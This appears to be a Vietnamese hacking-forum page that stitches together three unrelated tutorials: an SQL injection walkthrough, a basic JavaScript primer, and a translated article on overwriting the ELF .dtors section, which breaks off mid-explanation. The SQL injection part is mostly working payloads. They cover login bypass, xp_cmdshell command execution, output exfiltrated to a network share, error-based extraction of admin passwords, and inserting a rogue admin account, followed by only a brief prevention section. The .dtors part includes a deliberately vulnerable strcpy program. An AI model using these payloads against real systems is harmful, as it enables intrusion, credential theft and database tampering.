Có thể report trên các mạng wireless riêng biệt bằng cách sử dụng những patches đặc biệt
Nhìn tổng quan về cơ chế hoạt động của snort
channhua - HVA
|
|
|
Mục lục:
1. SQL Injection là gì?
2. Tìm kiếm mục tiêu
3. K iểm tra chỗ yếu của trang web
4. Tại sao ' or 1=1-- có thể bypass login?
5. Thi hành lệnh từ xa bằng SQL Injection
6.Nhận output của SQL query
7. Nhận data qua 'database using ODBC error message'
8. Xác định tên của các column trong table
9. Thu thập các dữ liệu quan trọng
10. Nhận các numeric string
11. Update/insert data vào CSDL
12. Ngăn chặn SQL Injection
13. Tài liệu thao khảo
1) SQL Injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...
2) Tìm kiếm mục tiêu
Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback, ...
http://vịtcon/index.asp?id=10
Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấy rõ.
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
3) Kiểm tra chỗ yếu của trang web
Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://vịtcon/index.asp?id=hi' or 1=1--
Nếu site chuyển tham số qua field ẩn, bạn hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:
<FORM action=http://vịtcon/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
Nếu thành công, bạn có thể login vào mà không cần phải biết username và password
4) Tại sao ' or 1=1-- có thể bypass login?
Giả sử như có một trang asp link đến một asp trang khác với URL như sau:
http://vịtcon/index.asp?category=food
Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
v_cat sẽ chứa giá trị của biến request.category, 'food' và câu lệnh SQL tiếp theo sẽ là:
SELECT * FROM product WHERE PCategory='food'
Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'
Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng 'food' hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"
Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lỗi hay không:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
5) Thi hành lệnh từ xa bằng SQL Injection
Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.
Dấu chấm phẩy ( ; ) sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:
#tcpdump icmp
Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.
6) Nhận output của SQL query
Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
folder "share" phải được share cho Everyone trước.
7) Nhận data qua 'database using ODBC error message'
Các error message của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Field TABLE_NAME chứa tên của mỗi table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
Dòng query này sẽ trả về tên của table đầu tiên trong CSDL
Khi chúng ta UNION string này với số integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của table đầu tiên trong CSDL mà chúng ta đang muốn có.
Để lấy tên của tên của table tiếp theo, bạn có thể dùng query sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Bạn cũng có thể search data bằng từ khóa LIKE:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như bạn thấy trong error message trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".
8 ) Xác định tên của các column trong table
Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, bạn có thể dùng mệnh đề logic NOT IN () như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Làm tương tự như trên, bạn có thể lấy được tên của các column còn lại như "password", "details". Bạn lấy tên của các column này qua error message error sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
9) Thu thập các dữ liệu quan trọng
Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.
Bạn có thể lấy login_name đầu tiên trong table "admin_login" như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
Bây giờ bạn có thể login vào với username là "neo" và password là "m4trix".
10) Nhận các numeric string
Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173".
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Bây giờ bạn cũng có thể login vào với username 'trinity' và password là '31173'
11) Update/insert data vào CSDL
Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.
Để thay đổi password của "neo", bạn có thể làm như sau:
http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
Hoặc nếu bạn muốn chèn một record mới vào table:
http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5"
12) Ngăn chặn SQL Injection
Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:
- input do người dùng đệ trình
- các tham số từ URL
- các giá trị từ cookie
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.
Xóa các stored procedure mà bạn không dùng như:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
13) Tài liệu thao khảo
- How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
- Great article on gathering information from ODBC error messages http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
- A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml
- Senseport's article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm
- Khác: http://www.digitaloffense.net/wargames01/IOWargames.ppt, http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6, http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6, http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
* Bài viết này được dịch và sửa đổi từ bài viết "SQL Injection Walkthrough" của xfocus.net. Hy vọng bạn có thể nắm bắt được các vấn đề mà mình đã trình bày ở trên.
- Vicki -
|
|
|
HTML
HTML là thứ dễ học nhất bạn từng thấy. Và vì nó quá đơn giản nên tôi không đi sâu nữa và sẽ bỏ qua nó, hơn nữa đã có quá nhiều forum và portal đã có tutorial về HTML bằng tiếng Việt nên tôi nghĩ việc làm lại tut HTML là một việc thừa.
JavaScript
Cũng tương tự như HTML, đã có quá nhiều site cho download source Javascript cùng với những hiệu ứng của nó, nhưng công việc của tôi không phải là giới thiệu các source code mà là giới thiệu cho bạn hiểu và tự bạn sẽ biết cách viết các code đó. Tôi sẽ bỏ qua các phần không quan trọng như: Are Java and JavaScript the same? What can a JavaScript Do?.....
Chúng ta bắt đầu nhá:
Làm thế nào để viết một đoạn Javascript trong một trang HTML?
<html>
<body>
<script type="text/javascript">
document.write("Hello World!")
</script>
</body>
</html>
Khi bạn chạy trang HTML có code như trên, Trình duyệt sẽ hiển thị dòng
Hello World!
lên màn hình.
Để bắt đầu một đoạn Javascript, chúng ta dùng cặp thẻ <script type="text/javascript"> và </script> hoặc <script language=javascript> và </script>
Để viết cái gì đó lên màn hình bạn dùng lệnh sau: document.write
vd: <script type="text/javascript">document.write("Hello World!") </script>
Không giống như các ngôn ngữ lập trình khác như C++ hay Java, Javascript không bắt buộc bạn phải đặt dấu chấm phẩy ( ở cuối mỗi câu lệnh trừ phi bạn đặt nhiều câu lệnh trên một dòng.
Bạn cũng có thể đặt các câu lệnh trong các thẻ chú giải (comment) như sau:
<script type="text/javascript">
<!--
some statements
//-->
</script>
Chúng ta sẽ đặt các đoạn mã Javascript ở đâu?
Các bạn cần biết rằng, các Script sẽ thực thi ngay khi trang đó được load vào trong trình duyệt, nhưng đó chưa chắc đã là điều lúc nào chúng ta cũng muốn. Thỉnh thoảng chúng ta chỉ muốn Script đó thực thi khi mà user thực hiện một động tác nào đó chẳng hạn.
Javascript đặt trên head section: Các script này sẽ chỉ thực thi khi chúng ta gọi nó hay khi có một sự kiện nào đó xẩy ra như khi bạn click chuột, hay bấm vào một button nào đó. Khi bạn đặt các script trên head section, bạn phải chắc chắn là đoạn script đó đã được load xong trước khi user dùng nó.
vd:
<html>
<head>
<script type="text/javascript">
some statements
</script>
</head>
<body>
content
</body>
</html>
Javascript đặt trong body section: Khi bạn đặt các script vào trong body section, nó sẽ sinh ra nội dung của trang đó.
vd:
<html>
<head>
</head>
<body>
<script type="text/javascript">
some statements
</script>
</body>
</html>
Javascript đặt cả trên head và body section: Bạn có thể để không giới hạn các script trong tài liệu của bạn, vì thế bạn có thể đặt các script cả trên head lẫn body section.
vd:
<html>
<head>
<script type="text/javascript">
some statements
</script>
</head>
<body>
<script type="text/javascript">
some statements
</script>
</body>
Làm thế nào để chạy Javascript như là phần mở rộng?
Thỉnh thoảng, bạn muốn chạy một đoạn script cho nhiều trang mà không muốn viết lại từng dòng lệnh cho các trang đó. Có một cách đơn giả là bạn viết các đoạn script ra một file mở rộng và save nó thành đuôi *.js
Chẳng hạn như bạn viết:
document.write("This script is external")
save nó lại thành xxx.js (Chú ý rằng trong flie js này, bạn viết trực tiếp các script luôn mà không cần phải viết cặp thẻ <script> và </script>
Bây giờ bạn có thể tái sử dụng các script đó khi gọi nó bằng thuộc tính "src"
<html>
<head>
</head>
<body>
<script src="xxx.js"></script>
</body>
</html>
Bạn phải chú ý đến đường dẫn tới file js này cẩn thận.
Các biến trong Javascript.
Một biến trong Javascript là một vại nước gạo hổ lốn (container) cho các thông tin mà bạn muốn chứa vào. Thực sự là vậy, trong Javascript một biến có thể chứa được rất nhiều kiểu, ví dụ như integer, char, string......
Bạn có thể tạo ra một biến với câu lệnh var: var strname = some value
hoặc gán trực tiếp giá trị cho biến khi khai báo luôn: var strname = "Hege"
hoặc khi bạn chẳng muốn viết từ khóa var thì bạn cũng có thể tương luôn: strname = "Hege". Nó sẽ tự hiểu strname là biến, và "Hege" là giá trị.
Vòng đời của các biến:
Khi bạn khai báo biến trong một hàm thì biến đó chỉ có thể được dùng cho hàm đó và nó sẽ bị "triệt tiêu" (destroy) khi bạn thoát ra khỏi hàm. Biến này được gọi là biến cục bộ, và vì tính chất của biến cục bộ như vậy nên bạn hoàn có thể dùng các biến cục bộ trùng tên nhưng khác hàm.
Nếu bạn khai báo một biến ngoài hàm thì tất cả các hàm đều có thể truy xuất biến đó. Vòng đời của biến này được tạo ra khi nó được khai báo và sẽ kết thúc khi user đóng trang đó lại.
Các toán tử:
Các toán tử trong Javascript hoàn toàn giống các toán tử trong các ngôn ngữ lập trình khác:
+ - * / % ++ --
= += -= *= /= %=
== != > < >= <=
&& || !
Để cộng các chuỗi, bạn có thể dùng toán tử "+"
vd:
txt1="What a very"
txt2="nice day!"
txt3=txt1+txt2
Biến txt3 bây giờ sẽ chứa "What a verynice day!".
Để thêm khoảng trắng vào giữa hai biến, ta có hai cách:
txt1="What a very"
txt2="nice day!"
txt3=txt1+" "+txt2
or
txt1="What a very "
txt2="nice day!"
txt3=txt1+txt2
Và biến txt3 bây giờ sẽ chứa "What a very nice day!"
Hàm
Một hàm thường là một vài đoạng code sẽ được thực thi bởi một sự kiện nào đó xẩy ra và gọi ngay chính hàm đó. Một hàm là một tập các câu lệnh, bạn có thể dùng lại hàm trong cùng một script hoặc trong cả các tài liệu khác. Bạn phải định nghĩa hàm khi bắt đầu của một file (in the head section) để gọi chúng sau này. Bây giờ chúng ta sẽ cùng học về hộp thoại cảnh báo (alert box):
Đây là cách mà Javascript dùng để cảnh báo tới user:
alert("This is a message")
Làm sao để định nghĩa một hàm:
Để tạo một hàm bạn hãy định nghĩa tên cho nó, một vài đối số ("arguments"), và một vài câu lệnh:
function myfunction(argument1,argument2,etc)
{
some statements
}
Một hàm không có đối số thì vẫn phải có 2 dấu ngoặc đơn: ( và ) :
function myfunction()
{
some statements
}
Các đối số là các biến được sử dụng trong hàm. Giá trị của các biến này là các giá trị được đưa vào khi hàm được gọi. Bằng cách đặt hàm lên trên head section, bạn đã chắc chắn việc tất cả các code trong hàm đã được load trước khi hàm được gọi.
Một vài hàm sẽ trả ngay về giá trị khi được gọi:
function result(a,b)
{
c=a+b
return c
}
Làm thế nào để gọi hàm?
Một hàm chưa được thực thi khi nó chưa được gọi. Bạn có thể gọi được một hàm chứa các đối số:
myfunction(argument1,argument2,etc)
hoặc không chứa đối số:
myfunction()
Câu lệnh trả về:
Muốn hàm trả về kết quả, bạn phải dùng câu lệnh "return". Câu lệnh này sẽ chỉ rõ giá trị nào sẽ trả về nơi mà hàm được gọi. Giả sử bạn có một hàm trả về giá trị tổng của hai số:
function total(a,b)
{
result=a+b
return result
}
Khi bạn gọi hàm trên, bạn phải truyền vào 2 đối số cho nó:
sum=total(2,3)
Các câu lệnh điều kiện:
Trong khi viết JavaScript, có lúc bạn muốn thực hiện các hành động khác nhau cho những trường hợp sự kiện xẩy ra khác nhau. Bạn có thể sử dụng các câu lệnh điều kiện để làm điều này.
Trong JavaScript có ba kiểu câu lệnh điều kiện
Câu lệnh If và If....Else:
sử dụng câu lệnh này nếu bạn muốn thực thi code khi điều kiện là đúng. Cú pháp:
if (condition)
{
code to be executed if condition is true
}
Vd:
<script type="text/javascript">
//If the time on your browser is less than 10,
//you will get a "Good morning" greeting.
var d=new Date()
var time=d.getHours()
//You can put (time>10) if Brower don't display "Good morning" message.
if (time<10)
{
document.write("<b>Good morning</b>")
}
</script>
Chú ý rằng không có else trong ví dụ trên, nhưng nếu bạn muốn thực thi đoạn code này khi điều kiện đúng và đoạn code kia khi điều kiện sai thì JavaScript cung cấp cho bạn cú pháp sau:
if (condition)
{
code to be executed if condition is true
}
else
{
code to be executed if condition is false
}
Vd:
<script type="text/javascript">
//If the time on your browser is less than 10,
//you will get a "Good morning" greeting.
//Otherwise you will get a "Good day" greeting.
var d = new Date()
var time = d.getHours()
if (time < 10)
{
document.write("Good morning!")
}
else
{
document.write("Good day!")
}
</script>
Câu lệnh Switch
Câu lệnh Switch cho phép bạn chọn lựa các phần của mã lệnh tùy theo giá trị của một biến hoặc một biểu thức. Cú pháp:
switch (biểu thức)
{
case label1:
Đoạn mã thực thi nếu biểu thức = label1
break
case label2:
Đoạn mã thực thi nếu biểu thức = label2
break
default:
Đoạn mã thực thi khi biểu thức không bằng cả label1 và label2.
}
Đây là cách nó làm việc: JavaScript sẽ định ra giá trị của biểu thức và sau đó so sánh giá trị nhận được với các giá trị trong từng câu lệnh case. Ngay khi gặp giá trị phù hợp, mã lệnh sẽ được thực hiện và tiếp tục qua tất cả các câu lệnh case còn lại. Chúng ta sử dụng câu lệnh break để ngưng việc thực hiện câu lệnh hiện tại và chuyển sang thực hiện câu lệnh tiếp theo. Chúng ta cũng rất thường sử dụng câu lệnh default trong câu lệnh switch để thực hiện mã lệnh khi không có một câu lệnh case nào phù hợp.
Các giá trị của câu lệnh case có thể có một kiểu dữ liệu bất kỳ, chẳng hạn như số hoặc chuỗi. Chúng ta có thể sử dụng bao nhiêu câu lệnh case tùy ý.
Vd:
<script type="text/javascript">
//You will receive a different greeting based
//on what day it is. Note that Sunday=0,
//Monday=1, Tuesday=2, etc.
var d=new Date()
theDay=d.getDay()
switch (theDay)
{
case 5:
document.write("Finally Friday")
break
case 6:
document.write("Super Saturday")
break
case 0:
document.write("Sleepy Sunday")
break
default:
document.write("I'm looking forward to this weekend!")
}
</script>
Toán tử điều kiện:
Cú pháp:
variablename=(condition)?value1:value2
Ví dụ:
greeting=(visitor=="PRES")?"Dear President ":"Dear "
Nếu biến visitor bằng PRES thì chuỗi "Dear President" sẽ được gán cho biến greeting, còn nếu biến visitor không bằng PRES thì chuỗi "Dear" sẽ được gán cho biến greeting.
Vòng lặp
- While
Vòng lặp while sẽ thực thi đoạn mã cho đến khi điều kiện vẫn còn đúng.
Cú pháp:
while (condition)
{
code to be executed
}
- do...While
Câu lệnh do...While sẽ thi hành khối lệnh ít nhất một lần và sau đó sẽ lặp lại cho đến khi nào điều kiện vẫn còn đúng.
Cú pháp:
do
{
code to be executed
}
while (condition)
- For
Vòng lặp For sẽ lặp lại việc thực thi khối lệnh theo số lần được chỉ định trước.
Cú pháp:
for (initialization; condition; increment)
{
code to be executed
}
Đối Tượng Array
Đối tượng mảng được dùng để chứa một tập các giá trị trong một biến cùng tên. Mỗi giá trị là một phần tử của mảng. Mảng cho phép chúng ta chứa và truy xuất các dữ liệu có liên quan.
Bạn có thể tạo một kiểu của đối tượng mảng với từ khóa "new". Ví dụ sau sẽ tạo ra 2 mảng có 3 phần tử:
var family_names=new Array(3)
var family_names=new Array("Tove","Jani","Stale")
Bạn có thể truy nhập vào từng phần tử riêng biệt trong mảng bằng cách sử dụng tên mảng cùng với chỉ số của nó. Chỉ số bắt đầu bằng số 0.
Nếu bạn tạo ra một mảng chỉ có các tham số, bạn có thể gán dữ liệu vào từng phần tử của mảng như sau:
family_names[0]="Tove"
family_names[1]="Jani"
family_names[2]="Stale"
Và dữ liệu có thể lấy ra bằng cách dùng các chỉ số của các phần tử riêng biệt trong mảng mà bạn muốn:
mother=family_names[0]
father=family_names[1]
mother và farther là hai biến mới được gán thành 2 tên là Tove và Jani.
Các thuộc tính và phương thức của đối tượng mảng được mổ tả dưới đây:
Đối tượng Boolean:
Đối tượng Boolean là một đối tượng bao ngòai cho một giá trị boolean và nó được dùng để chuyển một giá trị không phải boolean (non-boolean) thành giá trị boolean - hoặc đúng, hoặc sai.
vd:
Nếu một đối tượng boolean không có giá trị khởi tạo(giá trị ban đầu) hoặc nó bằng 0, null, "", NaN(Not A Number) thì giá trị khởi tạo của nó sẽ được gán là false. Đối tượng boolean chỉ nhận giá trị true khi giá trị khởi tạo là chuỗi, kể cả chuỗi "false"
Ví dụ về đối tượng boolean với giá trị khởi tạo là false:
var b1=new Boolean()
var b2=new Boolean(0)
var b3=new Boolean(null)
var b4=new Boolean("")
var b5=new Boolean(false)
var b6=new Boolean(NaN)
Ví dụ về đối tượng boolean với giá trị khởi tạo là true:
var b1=new Boolean(true)
var b2=new Boolean("true")
var b3=new Boolean("false")
var b4=new Boolean("Richard")
Đối tượng Date:
Đối tượng Date được sử dụng khi làm việc với kiểu ngày tháng hoặc thời gian.
Đây là cách tạo một trường hợp của đối tượng Date và gán nó cho biến "d":
var d = new Date()
Sau khi khai báo xong, bạn hoàn toàn có thể truy xuất vào tất cả các phương thức của đối tượng Date từ biến "d".
ví dụ, để trả về ngày hiện tại trong một tháng (từ 1 đến 31) của đối tượng Date, ta có phương thức:
d.getDate()
Đối tượng Date có các tham số sau:
new Date(milliseconds)
new Date(dateString)
new Date(yr_num, mo_num, day_num [, hr_num, min_num, sec_num, ms_num])
Nếu bạn chỉ sử dụng Date(), JavaScript sẽ tạo ra một đối tượng có ngày tháng theo thời gian hiện tại của máy cục bộ.
var d=new Date("October 12, 1988 13:14:00")
var d=new Date("October 12, 1988")
var d=new Date(88,09,12,13,14,00)
var d=new Date(88,09,12)
var d=new Date(500)
Các thuộc tính và phương thức của đối tượng Date().
Đối tượng Math
Đối tượng Math bao gồm tất cả các hàm và các hằng số toán học có sẵn. Bạn không cần phải tạo đối tượng Math trước khi dùng.
vd: chứa một số random nằm trong khoảng 0 và 1 trong biến "r_number" ta có hàm random():
r_number=Math.random()
Để làm tròn số 8,6 ta có hàm round():
r_number=Math.round(8.6)
Các thuộc tính và phương thức của đối tượng Math được mô tả ở đây:
Chuỗi(String): được sử dụng để làm việc với các đoạn văn bản
Các bạn hãy cẩn thận với các thuộc tính và các phương thức của String vì nó được dùng rất nhiều và tương đối quan trọng trong JavaScript.
Ngoài ra bạn có thể xem thêm ví dụ ở http://consinat.com/ebook/Javascript.rar
Mulan
|
|
|
Overwriting the .dtors section by Juan M. Bello Rivas
Dịch sang tiếng Việt: SeekZero
-------------------------------------------------------------------------------
Giới thiệu
----------
Bài viết này trình bày một cách ngắn gọn một kỹ thuật dùng để chiếm quyền điều
khiển và đổi hướng thực thi của một chương trình C được biên dịch bằng gcc.
Người đọc xem như đã quen thuộc với kỹ thuật tràn bộ đệm cơ bản và định dạng
ELF.
Tổng quan
---------
gcc cung cấp một số kiểu thuộc tính (attributes) cho hàm, đặc biệt hai trong
số đó làm chúng ta quan tâm là: cấu tử (constructor) và huỷ tử (destructor).
Các thuộc tính này phải được lập trình viên mô tả theo cách tương tự như sau:
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));
Hàm với thuộc tính 'constructor' sẽ được thực thi trước hàm main(), trong khi
các hàm được khai báo với thuộc tính 'destructor' sẽ được thực thi ngay sau
hàm main().
Khi tạo các file thực thi dạng ELF, đặc điểm này sẽ được thể hiện trong hai
vùng khác nhau là: .ctors và .dtors. Cả hai vùng sẽ có cách sắp xếp như sau:
0xffffffff <function address> <another function address> ... 0x00000000
LƯU Ý: Nếu bạn muốn biết tường tận về điều này, bạn nên xem mã nguồn
gcc-2.95.2/gcc/collect2.c.
Bắt đầu từ đây, có một số điểm cần quan tâm:
* .ctors và .dtors sẽ được ánh xạ (map) vào không gian bộ nhớ của tiến
trình thực thi và mặc định là vùng ghi được.
* Các vùng này không bị xoá khi sử dụng lệnh strip(1) với file thực thi
* Chúng ta không quan tâm người viết ra chương trình có tạo các hàm làm
cấu tử hoặc huỷ tử hay không vì cả hai vùng này cũng đều tồn tại và được
ánh xạ vào bộ nhớ.
Khảo sát chi tiết
-----------------
Chúng ta sẽ minh họa những gì đã đề cập ở trên.
$ cat > yopta.c <<EOF
#include <stdio.h>
#include <stdlib.h>
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));
int
main(int argc, char *argv[])
{
printf("start == %p\n", start);
printf("stop == %p\n", stop);
exit(EXIT_SUCCESS);
}
void
start(void)
{
printf("hello world!\n");
}
void
stop(void)
{
printf("goodbye world!\n");
}
EOF
$ gcc -o yopta yopta.c
$ ./yopta
hello world!
start == 0x8048480
stop == 0x80484a0
goodbye world!
$ objdump -h yopta
.
.
.
14 .data 0000000c 08049558 08049558 00000558 2**2
CONTENTS, ALLOC, LOAD, DATA
15 .eh_frame 00000004 08049564 08049564 00000564 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .ctors 0000000c 08049568 08049568 00000568 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .dtors 0000000c 08049574 08049574 00000574 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .got 00000024 08049580 08049580 00000580 2**2
CONTENTS, ALLOC, LOAD, DATA
.
.
.
$ objdump -s -j .dtors yopta
yopta: file format elf32-i386
Contents of section .dtors:
8049574 ffffffff a0840408 00000000 ............
Ta thấy địa chỉ của hàm stop() được lưu trong .dtors như đã đề cập ở trên. Mục
đích của chúng ta là khai thác chương trình vì vậy từ đây chúng ta sẽ không
quan tâm đến .ctors vì nó thực sự không có ích lợi gì cả.
Chúng ta sẽ thử một chương trình bình thường không có các hàm thuộc tính này
(được khai báo tường minh):
$ cat > bleh.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
static void bleh(void);
int
main(int argc, char *argv[])
{
static u_char buf[] = "bleh";
if (argc < 2)
exit(EXIT_FAILURE);
strcpy(buf, argv[1]);
exit(EXIT_SUCCESS);
}
void
bleh(void)
{
printf("goffio!\n");
}
EOF
$ gcc -o bleh bleh.c
$ ./bleh
$ objdump -h bleh
.
.
.
17 .dtors 00000008 0804955c 0804955c 0000055c 2**2
CONTENTS, ALLOC, LOAD, DATA
.
.
.
Tốt! .dtors vẫn còn đó dù không có hàm huỷ tử nào được khai báo. Hãy xem nội
dung của nó:
